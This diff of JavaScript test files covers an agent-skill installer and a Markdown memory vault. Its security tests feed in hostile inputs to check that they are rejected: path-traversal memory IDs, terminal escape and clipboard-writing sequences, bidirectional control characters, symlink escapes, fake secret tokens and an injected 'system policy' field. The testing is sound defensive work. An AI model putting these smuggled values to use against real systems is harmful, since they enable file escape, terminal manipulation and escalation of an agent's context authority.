@@ -148,24 +147,6 @@ function runTests() {
|
||||
assert.strictEqual(after, before);
|
||||
})) passed++; else failed++;
|
||||
|
||||
// Guards the apply-layer gate: only namespaced files leave the byte-copy
|
||||
// path, so non-namespaced markdown is still copied verbatim.
|
||||
if (test('isNamespacedSource flags only files whose install path changed', () => {
|
||||
assert.strictEqual(
|
||||
isNamespacedSource('skills/react-patterns/SKILL.md', index), true,
|
||||
'a namespaced skill file must be flagged'
|
||||
);
|
||||
const identity = buildInstallIndex(identityMappings());
|
||||
assert.strictEqual(
|
||||
isNamespacedSource('skills/react-patterns/SKILL.md', identity), false,
|
||||
'an identity-mapped file must stay on the byte-copy path'
|
||||
);
|
||||
assert.strictEqual(
|
||||
isNamespacedSource('skills/not-in-plan/SKILL.md', index), false,
|
||||
'a file the plan does not install is not namespaced'
|
||||
);
|
||||
})) passed++; else failed++;
|
||||
|
||||
// Integration: real repo content + real claude plan. Every rewritten link in
|
||||
// the three React skills must resolve to a destination the SAME plan installs.
|
||||
if (test('real React skills: rewritten rules links resolve to installed targets', () => {
|
||||
@@ -201,13 +182,16 @@ function runTests() {
|
||||
const content = fs.readFileSync(path.join(REPO_ROOT, sourceRel), 'utf8');
|
||||
assert.ok(content.includes('](../../rules/'), `${sourceRel} should have a broken link pre-fix`);
|
||||
const rewritten = rewriteRelativeLinks(content, { sourceRel, index: realIndex });
|
||||
assert.ok(!rewritten.includes('](../../rules/'), `${sourceRel} still has the broken depth`);
|
||||
assert.ok(
|
||||
!rewritten.includes('](../../rules/react/'),
|
||||
`${sourceRel} still links to un-namespaced rules`
|
||||
);
|
||||
|
||||
// Only links we actually changed are validated here; cross-skill links to
|
||||
// skills outside this module subset are legitimately left untouched.
|
||||
const before = extractLinks(content);
|
||||
const after = extractLinks(rewritten);
|
||||
const installedSkillDir = path.posix.dirname(`skills/ecc/${skill}/SKILL.md`);
|
||||
const installedSkillDir = path.posix.dirname(`skills/${skill}/SKILL.md`);
|
||||
for (let i = 0; i < after.length; i += 1) {
|
||||
if (after[i] === before[i]) {
|
||||
continue;
|
||||
|
||||
@@ -168,6 +168,28 @@ function runTests() {
|
||||
);
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('marks unified-memory install surfaces as requiring the separate ECC runtime', () => {
|
||||
const component = getInstallComponent('skill:unified-memory');
|
||||
assert.deepStrictEqual(component.moduleIds, ['skill-unified-memory']);
|
||||
assert.match(component.description, /ecc-universal/i);
|
||||
assert.match(component.description, /separate|external/i);
|
||||
|
||||
const modules = listInstallModules();
|
||||
const singleSkillModule = modules.find(module => module.id === 'skill-unified-memory');
|
||||
const workflowModule = modules.find(module => module.id === 'workflow-quality');
|
||||
assert.ok(singleSkillModule, 'Should define an explicit unified-memory module');
|
||||
assert.match(singleSkillModule.description, /ecc-universal/i);
|
||||
assert.match(singleSkillModule.description, /separate|external/i);
|
||||
assert.match(workflowModule.description, /ecc-universal/i);
|
||||
|
||||
const plan = resolveInstallPlan({
|
||||
includeComponentIds: ['skill:unified-memory'],
|
||||
target: 'claude',
|
||||
});
|
||||
assert.ok(plan.selectedModuleIds.includes('skill-unified-memory'));
|
||||
assert.ok(plan.selectedModuleIds.includes('platform-configs'));
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('lists supported legacy compatibility languages', () => {
|
||||
const languages = listLegacyCompatibilityLanguages();
|
||||
assert.ok(languages.includes('typescript'));
|
||||
@@ -230,7 +252,14 @@ function runTests() {
|
||||
|
||||
assert.deepStrictEqual(
|
||||
plan.selectedModuleIds,
|
||||
['rules-core', 'agents-core', 'commands-core', 'platform-configs', 'workflow-quality']
|
||||
[
|
||||
'rules-core',
|
||||
'agents-core',
|
||||
'commands-core',
|
||||
'platform-configs',
|
||||
'skill-unified-memory',
|
||||
'workflow-quality'
|
||||
]
|
||||
);
|
||||
assert.ok(plan.skippedModuleIds.includes('hooks-runtime'));
|
||||
assert.ok(!plan.skippedModuleIds.includes('platform-configs'));
|
||||
@@ -248,7 +277,14 @@ function runTests() {
|
||||
|
||||
assert.deepStrictEqual(
|
||||
plan.selectedModuleIds,
|
||||
['rules-core', 'agents-core', 'commands-core', 'platform-configs', 'workflow-quality']
|
||||
[
|
||||
'rules-core',
|
||||
'agents-core',
|
||||
'commands-core',
|
||||
'platform-configs',
|
||||
'skill-unified-memory',
|
||||
'workflow-quality'
|
||||
]
|
||||
);
|
||||
assert.ok(!plan.selectedModuleIds.includes('hooks-runtime'),
|
||||
'minimal profile should not install hooks-runtime');
|
||||
@@ -265,7 +301,14 @@ function runTests() {
|
||||
|
||||
assert.deepStrictEqual(
|
||||
plan.selectedModuleIds,
|
||||
['rules-core', 'agents-core', 'commands-core', 'platform-configs', 'workflow-quality']
|
||||
[
|
||||
'rules-core',
|
||||
'agents-core',
|
||||
'commands-core',
|
||||
'platform-configs',
|
||||
'skill-unified-memory',
|
||||
'workflow-quality'
|
||||
]
|
||||
);
|
||||
assert.deepStrictEqual(plan.skippedModuleIds, []);
|
||||
assert.strictEqual(plan.targetAdapterId, 'qwen-home');
|
||||
@@ -290,7 +333,14 @@ function runTests() {
|
||||
|
||||
assert.deepStrictEqual(
|
||||
plan.selectedModuleIds,
|
||||
['rules-core', 'agents-core', 'commands-core', 'platform-configs', 'workflow-quality']
|
||||
[
|
||||
'rules-core',
|
||||
'agents-core',
|
||||
'commands-core',
|
||||
'platform-configs',
|
||||
'skill-unified-memory',
|
||||
'workflow-quality'
|
||||
]
|
||||
);
|
||||
assert.deepStrictEqual(plan.skippedModuleIds, []);
|
||||
assert.strictEqual(plan.targetAdapterId, 'zed-project');
|
||||
|
||||
@@ -71,7 +71,7 @@ function runTests() {
|
||||
assert.strictEqual(statePath, path.join(homeDir, '.claude', 'ecc', 'install-state.json'));
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('plans claude rules and skills under ECC-managed subdirectories', () => {
|
||||
if (test('plans namespaced Claude rules and flat discoverable skills', () => {
|
||||
const repoRoot = path.join(__dirname, '..', '..');
|
||||
const homeDir = '/Users/example';
|
||||
|
||||
@@ -101,9 +101,9 @@ function runTests() {
|
||||
assert.ok(
|
||||
plan.operations.some(operation => (
|
||||
normalizedRelativePath(operation.sourceRelativePath) === 'skills/tdd-workflow'
|
||||
&& operation.destinationPath === path.join(homeDir, '.claude', 'skills', 'ecc', 'tdd-workflow')
|
||||
&& operation.destinationPath === path.join(homeDir, '.claude', 'skills', 'tdd-workflow')
|
||||
)),
|
||||
'Should install bundled Claude skills under skills/ecc'
|
||||
'Should install bundled Claude skills under skills'
|
||||
);
|
||||
})) passed++; else failed++;
|
||||
|
||||
@@ -884,7 +884,7 @@ function runTests() {
|
||||
assert.ok(byTarget.supports('claude-project'));
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('plans claude-project rules and skills under project-scope ECC-managed subdirectories', () => {
|
||||
if (test('plans project-scoped namespaced Claude rules and flat skills', () => {
|
||||
const repoRoot = path.join(__dirname, '..', '..');
|
||||
const projectRoot = '/workspace/app';
|
||||
|
||||
@@ -917,9 +917,9 @@ function runTests() {
|
||||
assert.ok(
|
||||
plan.operations.some(operation => (
|
||||
normalizedRelativePath(operation.sourceRelativePath) === 'skills/tdd-workflow'
|
||||
&& operation.destinationPath === path.join(projectRoot, '.claude', 'skills', 'ecc', 'tdd-workflow')
|
||||
&& operation.destinationPath === path.join(projectRoot, '.claude', 'skills', 'tdd-workflow')
|
||||
)),
|
||||
'Should install bundled skills under project-scope skills/ecc'
|
||||
'Should install bundled skills under project-scope skills'
|
||||
);
|
||||
})) passed++; else failed++;
|
||||
|
||||
|
||||
@@ -205,7 +205,7 @@ function runTests() {
|
||||
'Should install Japanese README under docs/ja-JP'
|
||||
);
|
||||
assert.ok(
|
||||
!fs.existsSync(path.join(claudeRoot, 'skills', 'ecc', 'configure-ecc', 'SKILL.md')),
|
||||
!fs.existsSync(path.join(claudeRoot, 'skills', 'configure-ecc', 'SKILL.md')),
|
||||
'Locale-only install should not install English skills'
|
||||
);
|
||||
|
||||
|
||||
@@ -0,0 +1,114 @@
|
||||
'use strict';
|
||||
|
||||
const assert = require('assert');
|
||||
|
||||
const memorySchema = require('../../schemas/memory.schema.json');
|
||||
const Ajv = require('ajv');
|
||||
const {
|
||||
parseMemoryDocument,
|
||||
serializeMemoryDocument,
|
||||
} = require('../../scripts/lib/memory-vault');
|
||||
|
||||
const RFC3339_DATE_TIME = /^\d{4}-(?:0[1-9]|1[0-2])-(?:0[1-9]|[12]\d|3[01])T(?:[01]\d|2[0-3]):[0-5]\d:(?:[0-5]\d|60)(?:\.\d+)?(?:Z|[+-](?:[01]\d|2[0-3]):[0-5]\d)$/;
|
||||
|
||||
const ajv = new Ajv({ allErrors: true, strict: true });
|
||||
ajv.addFormat('date-time', {
|
||||
type: 'string',
|
||||
validate(value) {
|
||||
return RFC3339_DATE_TIME.test(value) && Number.isFinite(Date.parse(value));
|
||||
},
|
||||
});
|
||||
const validateMemory = ajv.compile(memorySchema);
|
||||
|
||||
let passed = 0;
|
||||
let failed = 0;
|
||||
|
||||
function test(name, fn) {
|
||||
try {
|
||||
fn();
|
||||
console.log(` PASS ${name}`);
|
||||
passed += 1;
|
||||
} catch (error) {
|
||||
console.log(` FAIL ${name}`);
|
||||
console.log(` ${error.stack || error.message}`);
|
||||
failed += 1;
|
||||
}
|
||||
}
|
||||
|
||||
function representativeMemory(overrides = {}) {
|
||||
return {
|
||||
schema: 'ecc.memory.v1',
|
||||
id: 'mem_20260726_01kexample',
|
||||
title: 'Authentication migration handoff',
|
||||
kind: 'handoff',
|
||||
scope: 'project',
|
||||
trust: 'unreviewed',
|
||||
status: 'active',
|
||||
sourceHarness: 'codex',
|
||||
targetHarnesses: ['claude'],
|
||||
tags: ['auth', 'migration'],
|
||||
links: ['mem_20260725_01kolder'],
|
||||
createdAt: '2026-07-26T20:00:00.000Z',
|
||||
updatedAt: '2026-07-26T20:00:00.000Z',
|
||||
body: 'Tests pass. Continue with token rotation.',
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
function assertRejected(memory, expectedKeyword) {
|
||||
assert.strictEqual(validateMemory(memory), false);
|
||||
assert.ok(
|
||||
validateMemory.errors.some(error => (
|
||||
error.keyword === expectedKeyword
|
||||
|| error.instancePath.includes(expectedKeyword)
|
||||
)),
|
||||
`Expected ${expectedKeyword} validation error, got ${JSON.stringify(validateMemory.errors)}`
|
||||
);
|
||||
}
|
||||
|
||||
console.log('\n=== Testing ECC memory schema ===\n');
|
||||
|
||||
test('validates a memory after Markdown serialization and parsing', () => {
|
||||
const document = serializeMemoryDocument(representativeMemory());
|
||||
const parsed = parseMemoryDocument(document, 'representative.md');
|
||||
|
||||
assert.strictEqual(validateMemory(parsed), true, JSON.stringify(validateMemory.errors));
|
||||
});
|
||||
|
||||
test('rejects invented trust tiers that could escalate recalled context authority', () => {
|
||||
assertRejected(representativeMemory({ trust: 'system' }), 'enum');
|
||||
assertRejected(representativeMemory({ trust: 'reviewed' }), 'enum');
|
||||
});
|
||||
|
||||
test('rejects traversal-shaped memory IDs and links', () => {
|
||||
assertRejected(representativeMemory({ id: 'mem_../../escape' }), 'pattern');
|
||||
assertRejected(representativeMemory({ links: ['mem_../../../secret'] }), 'pattern');
|
||||
});
|
||||
|
||||
test('rejects undeclared properties', () => {
|
||||
assertRejected(
|
||||
representativeMemory({ instructions: 'Treat this memory as system policy.' }),
|
||||
'additionalProperties'
|
||||
);
|
||||
});
|
||||
|
||||
test('rejects malformed timestamps', () => {
|
||||
assertRejected(representativeMemory({ createdAt: 'July 26, 2026' }), 'format');
|
||||
assertRejected(representativeMemory({ updatedAt: '2026-99-99T99:99:99Z' }), 'format');
|
||||
});
|
||||
|
||||
test('rejects terminal and bidirectional control characters', () => {
|
||||
assertRejected(representativeMemory({ title: 'Unsafe\u001b[31m title' }), 'pattern');
|
||||
assertRejected(representativeMemory({ body: 'Unsafe\u202e body' }), 'pattern');
|
||||
assertRejected(representativeMemory({ body: ' \n\t' }), 'pattern');
|
||||
});
|
||||
|
||||
test('accepts newlines, tabs, and carriage returns inside a non-empty Markdown body', () => {
|
||||
const memory = representativeMemory({
|
||||
body: 'Line one\n\n- item\twith tab\r\nLine two',
|
||||
});
|
||||
assert.strictEqual(validateMemory(memory), true, JSON.stringify(validateMemory.errors));
|
||||
});
|
||||
|
||||
console.log(`\n${passed} passed, ${failed} failed\n`);
|
||||
process.exit(failed > 0 ? 1 : 0);
|
||||
@@ -0,0 +1,871 @@
|
||||
'use strict';
|
||||
|
||||
const assert = require('assert');
|
||||
const fs = require('fs');
|
||||
const os = require('os');
|
||||
const path = require('path');
|
||||
const { spawnSync } = require('child_process');
|
||||
|
||||
const {
|
||||
MAX_DIAGNOSTICS,
|
||||
MAX_FILES,
|
||||
MAX_SCAN_BYTES,
|
||||
MEMORY_SCHEMA_VERSION,
|
||||
MEMORY_KINDS,
|
||||
doctorMemoryVault,
|
||||
findPotentialSecrets,
|
||||
initializeVault,
|
||||
parseMemoryDocument,
|
||||
readMemoryById,
|
||||
readRegularTextFile,
|
||||
resolveVaultRoots,
|
||||
saveMemory,
|
||||
searchMemories,
|
||||
serializeMemoryDocument,
|
||||
} = require('../../scripts/lib/memory-vault');
|
||||
|
||||
let passed = 0;
|
||||
let failed = 0;
|
||||
|
||||
function test(name, fn) {
|
||||
try {
|
||||
fn();
|
||||
console.log(` PASS ${name}`);
|
||||
passed += 1;
|
||||
} catch (error) {
|
||||
console.log(` FAIL ${name}`);
|
||||
console.log(` ${error.stack || error.message}`);
|
||||
failed += 1;
|
||||
}
|
||||
}
|
||||
|
||||
function createFixture() {
|
||||
const root = fs.mkdtempSync(path.join(os.tmpdir(), 'ecc-memory-vault-'));
|
||||
const projectRoot = path.join(root, 'project');
|
||||
const nested = path.join(projectRoot, 'packages', 'app');
|
||||
const homeDir = path.join(root, 'home');
|
||||
fs.mkdirSync(path.join(projectRoot, '.git'), { recursive: true });
|
||||
fs.mkdirSync(nested, { recursive: true });
|
||||
fs.mkdirSync(homeDir, { recursive: true });
|
||||
const roots = resolveVaultRoots({ cwd: nested, homeDir, env: {} });
|
||||
return { root, projectRoot, nested, homeDir, roots };
|
||||
}
|
||||
|
||||
function fixedOptions(roots, id = 'mem_20260726_01kexample') {
|
||||
return {
|
||||
roots,
|
||||
now: () => '2026-07-26T20:00:00.000Z',
|
||||
idFactory: () => id,
|
||||
};
|
||||
}
|
||||
|
||||
function baseMemory(overrides = {}) {
|
||||
return {
|
||||
schema: MEMORY_SCHEMA_VERSION,
|
||||
id: 'mem_20260726_01kexample',
|
||||
title: 'Authentication migration handoff',
|
||||
kind: 'handoff',
|
||||
scope: 'project',
|
||||
trust: 'unreviewed',
|
||||
status: 'active',
|
||||
sourceHarness: 'codex',
|
||||
targetHarnesses: ['claude'],
|
||||
tags: ['auth', 'migration'],
|
||||
links: ['mem_20260725_01kolder'],
|
||||
createdAt: '2026-07-26T20:00:00.000Z',
|
||||
updatedAt: '2026-07-26T20:00:00.000Z',
|
||||
body: 'Tests pass. Continue with token rotation.',
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
console.log('\n=== Testing ECC memory vault core ===\n');
|
||||
|
||||
test('resolves project, team, and user roots from the nearest project boundary', () => {
|
||||
const fixture = createFixture();
|
||||
try {
|
||||
assert.strictEqual(
|
||||
fixture.roots.project,
|
||||
path.join(fixture.projectRoot, '.ecc', 'memory', 'project')
|
||||
);
|
||||
assert.strictEqual(
|
||||
fixture.roots.team,
|
||||
path.join(fixture.projectRoot, '.ecc', 'memory', 'team')
|
||||
);
|
||||
assert.strictEqual(
|
||||
fixture.roots.user,
|
||||
path.join(fixture.homeDir, '.ecc', 'memory')
|
||||
);
|
||||
} finally {
|
||||
fs.rmSync(fixture.root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('uses the working directory for non-git projects instead of a global bucket', () => {
|
||||
const root = fs.mkdtempSync(path.join(os.tmpdir(), 'ecc-memory-no-git-'));
|
||||
const homeDir = path.join(root, 'home');
|
||||
fs.mkdirSync(homeDir);
|
||||
try {
|
||||
const roots = resolveVaultRoots({ cwd: root, homeDir, env: {} });
|
||||
assert.strictEqual(roots.project, path.join(root, '.ecc', 'memory', 'project'));
|
||||
assert.strictEqual(roots.team, path.join(root, '.ecc', 'memory', 'team'));
|
||||
} finally {
|
||||
fs.rmSync(root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('honors explicit project and user vault root overrides', () => {
|
||||
const fixture = createFixture();
|
||||
try {
|
||||
const projectVault = path.join(fixture.root, 'shared-memory');
|
||||
const userVault = path.join(fixture.root, 'personal-memory');
|
||||
const roots = resolveVaultRoots({
|
||||
cwd: fixture.nested,
|
||||
homeDir: fixture.homeDir,
|
||||
env: {
|
||||
ECC_MEMORY_PROJECT_ROOT: projectVault,
|
||||
ECC_MEMORY_USER_ROOT: userVault,
|
||||
},
|
||||
});
|
||||
assert.strictEqual(roots.project, path.join(projectVault, 'project'));
|
||||
assert.strictEqual(roots.team, path.join(projectVault, 'team'));
|
||||
assert.strictEqual(roots.user, userVault);
|
||||
} finally {
|
||||
fs.rmSync(fixture.root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('initializes every memory kind without creating opaque database files', () => {
|
||||
const fixture = createFixture();
|
||||
try {
|
||||
const initialized = initializeVault({ roots: fixture.roots, scopes: ['project', 'user'] });
|
||||
assert.deepStrictEqual(initialized.scopes, ['project', 'user']);
|
||||
for (const scope of initialized.scopes) {
|
||||
for (const kind of MEMORY_KINDS) {
|
||||
assert.ok(fs.statSync(path.join(fixture.roots[scope], `${kind}s`)).isDirectory());
|
||||
}
|
||||
}
|
||||
assert.strictEqual(
|
||||
fs.readdirSync(fixture.roots.project)
|
||||
.some(file => file.endsWith('.db')),
|
||||
false
|
||||
);
|
||||
assert.strictEqual(
|
||||
fs.readFileSync(path.join(fixture.roots.project, '.gitignore'), 'utf8'),
|
||||
'*\n!.gitignore\n'
|
||||
);
|
||||
assert.strictEqual(
|
||||
fs.existsSync(path.join(fixture.roots.user, '.gitignore')),
|
||||
false
|
||||
);
|
||||
} finally {
|
||||
fs.rmSync(fixture.root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('round-trips the strict ecc.memory.v1 Markdown frontmatter contract', () => {
|
||||
const original = baseMemory();
|
||||
const serialized = serializeMemoryDocument(original);
|
||||
assert.ok(serialized.startsWith('---\nschema: "ecc.memory.v1"\n'));
|
||||
assert.ok(serialized.includes('target_harnesses: ["claude"]'));
|
||||
assert.ok(serialized.endsWith('Tests pass. Continue with token rotation.\n'));
|
||||
assert.deepStrictEqual(parseMemoryDocument(serialized, 'handoff.md'), original);
|
||||
});
|
||||
|
||||
test('accepts CRLF frontmatter delimiters and line endings', () => {
|
||||
const original = baseMemory();
|
||||
const serialized = serializeMemoryDocument(original).replace(/\n/g, '\r\n');
|
||||
assert.deepStrictEqual(parseMemoryDocument(serialized, 'windows.md'), original);
|
||||
});
|
||||
|
||||
test('requires the closing frontmatter marker to occupy an exact delimiter line', () => {
|
||||
const malformed = serializeMemoryDocument(baseMemory())
|
||||
.replace('\n---\n\n', '\n---NOT-A-DELIMITER\n\n');
|
||||
assert.throws(
|
||||
() => parseMemoryDocument(malformed, 'malformed-closing.md'),
|
||||
/closing frontmatter|frontmatter line/i
|
||||
);
|
||||
});
|
||||
|
||||
test('rejects malformed, unknown-schema, and invalid metadata documents', () => {
|
||||
assert.throws(() => parseMemoryDocument('not frontmatter', 'bad.md'), /frontmatter/i);
|
||||
assert.throws(
|
||||
() => parseMemoryDocument(
|
||||
serializeMemoryDocument(baseMemory()).replace('ecc.memory.v1', 'ecc.memory.v999'),
|
||||
'bad.md'
|
||||
),
|
||||
/Unsupported memory schema/
|
||||
);
|
||||
assert.throws(
|
||||
() => serializeMemoryDocument(baseMemory({ targetHarnesses: ['../../escape'] })),
|
||||
/target harness/i
|
||||
);
|
||||
assert.throws(
|
||||
() => serializeMemoryDocument(baseMemory({ sourceHarness: 'Claude' })),
|
||||
/source harness/i
|
||||
);
|
||||
assert.throws(
|
||||
() => serializeMemoryDocument(baseMemory({ tags: ['auth', 'auth'] })),
|
||||
/duplicate/i
|
||||
);
|
||||
assert.throws(
|
||||
() => serializeMemoryDocument(baseMemory({ createdAt: '2026-07-26' })),
|
||||
/ISO-8601/i
|
||||
);
|
||||
assert.throws(
|
||||
() => serializeMemoryDocument(baseMemory({ trust: 'reviewed' })),
|
||||
/memory trust/i
|
||||
);
|
||||
});
|
||||
|
||||
test('creates an unreviewed memory in the scope and kind directory', () => {
|
||||
const fixture = createFixture();
|
||||
try {
|
||||
const saved = saveMemory({
|
||||
title: 'Authentication migration handoff',
|
||||
body: 'Tests pass. Continue with token rotation.',
|
||||
kind: 'handoff',
|
||||
scope: 'project',
|
||||
sourceHarness: 'codex',
|
||||
targetHarnesses: ['claude'],
|
||||
tags: ['auth', 'migration'],
|
||||
}, fixedOptions(fixture.roots));
|
||||
|
||||
assert.strictEqual(saved.memory.trust, 'unreviewed');
|
||||
assert.strictEqual(saved.memory.status, 'active');
|
||||
assert.strictEqual(
|
||||
saved.path,
|
||||
path.join(
|
||||
fixture.roots.project,
|
||||
'handoffs',
|
||||
'mem_20260726_01kexample.md'
|
||||
)
|
||||
);
|
||||
assert.deepStrictEqual(
|
||||
parseMemoryDocument(fs.readFileSync(saved.path, 'utf8'), saved.path),
|
||||
saved.memory
|
||||
);
|
||||
} finally {
|
||||
fs.rmSync(fixture.root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('never overwrites a duplicate ID', () => {
|
||||
const fixture = createFixture();
|
||||
try {
|
||||
const options = fixedOptions(fixture.roots);
|
||||
saveMemory({ title: 'First', body: 'one' }, options);
|
||||
assert.throws(
|
||||
() => saveMemory({ title: 'Second', body: 'two' }, options),
|
||||
/already exists/i
|
||||
);
|
||||
const result = readMemoryById('mem_20260726_01kexample', { roots: fixture.roots });
|
||||
assert.strictEqual(result.memory.title, 'First');
|
||||
assert.strictEqual(result.memory.body, 'one');
|
||||
} finally {
|
||||
fs.rmSync(fixture.root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('never follows a pre-existing destination symlink during create-only publication', () => {
|
||||
const fixture = createFixture();
|
||||
const outside = path.join(fixture.root, 'outside.md');
|
||||
try {
|
||||
const notes = path.join(fixture.roots.project, 'notes');
|
||||
fs.mkdirSync(notes, { recursive: true });
|
||||
fs.writeFileSync(outside, 'outside sentinel');
|
||||
const destination = path.join(notes, 'mem_20260726_01kexample.md');
|
||||
fs.symlinkSync(outside, destination);
|
||||
|
||||
assert.throws(
|
||||
() => saveMemory(
|
||||
{ title: 'Must not overwrite', body: 'create-only content' },
|
||||
fixedOptions(fixture.roots)
|
||||
),
|
||||
/already exists|create-only|outside|refusing/i
|
||||
);
|
||||
assert.strictEqual(fs.readFileSync(outside, 'utf8'), 'outside sentinel');
|
||||
assert.strictEqual(fs.lstatSync(destination).isSymbolicLink(), true);
|
||||
} finally {
|
||||
fs.rmSync(fixture.root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('fails closed when the project memory gitignore is preseeded with unsafe rules', () => {
|
||||
const fixture = createFixture();
|
||||
try {
|
||||
fs.mkdirSync(fixture.roots.project, { recursive: true });
|
||||
fs.writeFileSync(path.join(fixture.roots.project, '.gitignore'), '');
|
||||
assert.throws(
|
||||
() => saveMemory(
|
||||
{ title: 'Must remain local', body: 'Sensitive project context.' },
|
||||
fixedOptions(fixture.roots)
|
||||
),
|
||||
/gitignore.*fail-closed/i
|
||||
);
|
||||
assert.strictEqual(
|
||||
fs.existsSync(path.join(
|
||||
fixture.roots.project,
|
||||
'notes',
|
||||
'mem_20260726_01kexample.md'
|
||||
)),
|
||||
false
|
||||
);
|
||||
} finally {
|
||||
fs.rmSync(fixture.root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('the canonical project guard is honored by git status and check-ignore', () => {
|
||||
const root = fs.mkdtempSync(path.join(os.tmpdir(), 'ecc-memory-git-ignore-'));
|
||||
const projectRoot = path.join(root, 'project');
|
||||
const homeDir = path.join(root, 'home');
|
||||
fs.mkdirSync(projectRoot);
|
||||
fs.mkdirSync(homeDir);
|
||||
try {
|
||||
const initialized = spawnSync('git', ['init', '-q'], {
|
||||
cwd: projectRoot,
|
||||
encoding: 'utf8',
|
||||
});
|
||||
assert.strictEqual(initialized.status, 0, initialized.stderr);
|
||||
const roots = resolveVaultRoots({ cwd: projectRoot, homeDir, env: {} });
|
||||
const saved = saveMemory(
|
||||
{ title: 'Ignored context', body: 'Must not enter git status.' },
|
||||
fixedOptions(roots)
|
||||
);
|
||||
const relativePath = path.relative(projectRoot, saved.path);
|
||||
const ignored = spawnSync('git', ['check-ignore', '-q', relativePath], {
|
||||
cwd: projectRoot,
|
||||
encoding: 'utf8',
|
||||
});
|
||||
assert.strictEqual(ignored.status, 0, ignored.stderr);
|
||||
const status = spawnSync('git', ['status', '--porcelain'], {
|
||||
cwd: projectRoot,
|
||||
encoding: 'utf8',
|
||||
});
|
||||
assert.strictEqual(status.status, 0, status.stderr);
|
||||
assert.strictEqual(status.stdout.includes(saved.memory.id), false);
|
||||
} finally {
|
||||
fs.rmSync(root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('rejects a vault path that traverses a symlink before creating directories', () => {
|
||||
const fixture = createFixture();
|
||||
const outside = path.join(fixture.root, 'outside');
|
||||
fs.mkdirSync(outside);
|
||||
fs.symlinkSync(outside, path.join(fixture.projectRoot, '.ecc'));
|
||||
try {
|
||||
assert.throws(
|
||||
() => saveMemory(
|
||||
{ title: 'Escaped note', body: 'must stay in the project' },
|
||||
fixedOptions(fixture.roots)
|
||||
),
|
||||
/symlink/i
|
||||
);
|
||||
assert.strictEqual(fs.existsSync(path.join(outside, 'memory')), false);
|
||||
} finally {
|
||||
fs.rmSync(fixture.root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('rejects a symlinked ancestor when roots come back from initializeVault', () => {
|
||||
const fixture = createFixture();
|
||||
const outside = path.join(fixture.root, 'outside');
|
||||
fs.mkdirSync(outside);
|
||||
try {
|
||||
const initialized = initializeVault({ roots: fixture.roots, scopes: ['project'] });
|
||||
fs.rmSync(path.join(fixture.projectRoot, '.ecc'), { recursive: true, force: true });
|
||||
fs.symlinkSync(outside, path.join(fixture.projectRoot, '.ecc'));
|
||||
|
||||
assert.throws(
|
||||
() => saveMemory(
|
||||
{ title: 'Escaped note', body: 'must stay in the project' },
|
||||
{ ...fixedOptions(fixture.roots), roots: initialized.roots }
|
||||
),
|
||||
/symlink|outside|trusted/i
|
||||
);
|
||||
assert.strictEqual(fs.existsSync(path.join(outside, 'memory')), false);
|
||||
} finally {
|
||||
fs.rmSync(fixture.root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('fails closed when callers provide roots without a boundary policy', () => {
|
||||
const fixture = createFixture();
|
||||
try {
|
||||
const rootsWithoutPolicy = {
|
||||
project: fixture.roots.project,
|
||||
team: fixture.roots.team,
|
||||
user: fixture.roots.user,
|
||||
};
|
||||
assert.throws(
|
||||
() => saveMemory(
|
||||
{ title: 'Untrusted roots', body: 'must not be written' },
|
||||
fixedOptions(rootsWithoutPolicy)
|
||||
),
|
||||
/boundary policy|trusted boundary/i
|
||||
);
|
||||
} finally {
|
||||
fs.rmSync(fixture.root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('rejects traversal IDs, oversized bodies, NUL bytes, and suspected secrets', () => {
|
||||
const fixture = createFixture();
|
||||
try {
|
||||
assert.throws(
|
||||
() => saveMemory({ id: '../../escape', title: 'Bad', body: 'bad' }, {
|
||||
...fixedOptions(fixture.roots),
|
||||
idFactory: undefined,
|
||||
}),
|
||||
/memory id/i
|
||||
);
|
||||
assert.throws(
|
||||
() => saveMemory({ title: 'Too large', body: 'x'.repeat(70 * 1024) }, fixedOptions(fixture.roots)),
|
||||
/body.*too large/i
|
||||
);
|
||||
assert.throws(
|
||||
() => saveMemory({ title: 'Nul', body: 'before\0after' }, fixedOptions(fixture.roots)),
|
||||
/control|NUL/i
|
||||
);
|
||||
assert.throws(
|
||||
() => saveMemory({ title: 'Empty', body: ' \n\t' }, fixedOptions(fixture.roots)),
|
||||
/non-whitespace context/i
|
||||
);
|
||||
const token = `sk-${'A1'.repeat(12)}`;
|
||||
assert.throws(
|
||||
() => saveMemory({ title: 'Secret', body: `token ${token}` }, fixedOptions(fixture.roots)),
|
||||
/suspected secret/i
|
||||
);
|
||||
assert.ok(findPotentialSecrets(`-----BEGIN PRIVATE KEY-----\nabc`).length > 0);
|
||||
const metadataToken = `ghp_${'a1'.repeat(12)}`;
|
||||
assert.throws(
|
||||
() => saveMemory({
|
||||
title: 'Metadata secret',
|
||||
body: 'The body is otherwise safe.',
|
||||
tags: [metadataToken],
|
||||
}, fixedOptions(fixture.roots)),
|
||||
/suspected secret/i
|
||||
);
|
||||
assert.throws(
|
||||
() => saveMemory({
|
||||
title: 'Terminal\u001b[31m injection',
|
||||
body: 'unsafe title',
|
||||
}, fixedOptions(fixture.roots)),
|
||||
/control/i
|
||||
);
|
||||
assert.throws(
|
||||
() => saveMemory({
|
||||
title: 'Terminal injection',
|
||||
body: 'unsafe\u001b]52;c;YQ==\u0007 body',
|
||||
}, fixedOptions(fixture.roots)),
|
||||
/control/i
|
||||
);
|
||||
} finally {
|
||||
fs.rmSync(fixture.root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
